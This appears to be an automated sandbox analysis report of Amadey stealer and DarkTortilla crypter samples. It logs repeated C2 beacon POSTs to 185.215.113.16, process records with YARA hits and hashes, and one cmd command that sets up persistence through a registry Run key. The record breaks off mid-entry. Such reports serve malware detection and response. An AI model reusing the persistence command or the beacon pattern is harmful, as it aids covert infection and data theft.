Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49762	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:54.879023075 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:55.601434946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:55.602220058 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:55.835885048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49763	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:55.958506107 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:56.649444103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:56.650777102 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:56.876117945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49764	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:56.989276886 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:57.698426008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:57.699547052 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:57.926054001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49765	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:58.035403967 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:58.773359060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:58.776662111 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:59.012445927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49766	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:59.132723093 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:59.821403027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:59.822328091 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:34:00.045078039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49767	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:34:00.160047054 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:34:00.871591091 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:34:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:34:00.872767925 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:34:01.101229906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:34:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49768	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:34:01.231060982 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:34:01.946422100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:34:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:34:01.947397947 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:34:02.187207937 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49769	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:34:02.303646088 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:34:03.031141043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:34:03.048775911 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:34:03.278121948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:34:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49770	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:34:03.801251888 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:34:04.512315989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:34:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49771	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:34:04.522238970 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:34:05.258213043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:34:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49772	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:34:05.381635904 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49774	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:34:05.521457911 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:34:06.236696005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:34:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	15:31:59
Start date:	26/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xea0000
File size:	1'883'648 bytes
MD5 hash:	1E7539BA44850839FB406E206245244D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2058229773.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2099012889.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:32:01
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x7c0000
File size:	1'883'648 bytes
MD5 hash:	1E7539BA44850839FB406E206245244D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2123771246.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2083588701.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:32:01
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x7c0000
File size:	1'883'648 bytes
MD5 hash:	1E7539BA44850839FB406E206245244D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2125174369.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2084797690.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:33:00
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x7c0000
File size:	1'883'648 bytes
MD5 hash:	1E7539BA44850839FB406E206245244D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2663993052.0000000004940000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	15:33:07
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000356001\neon.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1000356001\neon.exe"
Imagebase:	0xa70000
File size:	3'643'904 bytes
MD5 hash:	B3FD0E1003B1CD38402B6D32829F6135
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000007.00000002.3328015730.0000000015BF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000007.00000002.3333507125.00000000241A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000007.00000002.3311651880.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:33:22
Start date:	26/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"
Imagebase:	0x7ff603f10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:33:22
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:33:23
Start date:	26/09/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 127.0.0.1 -n 7
Imagebase:	0x7ff7a3f50000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:33:23
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
Imagebase:	0x23e02f90000
File size:	41'552 bytes
MD5 hash:	909A1D386235DD5F6BA61B91BA34119D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	15:33:29
Start date:	26/09/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
